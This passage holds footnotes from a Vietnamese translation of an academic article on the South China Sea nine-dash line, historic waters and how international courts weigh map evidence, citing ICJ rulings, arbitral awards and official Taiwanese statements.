at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, 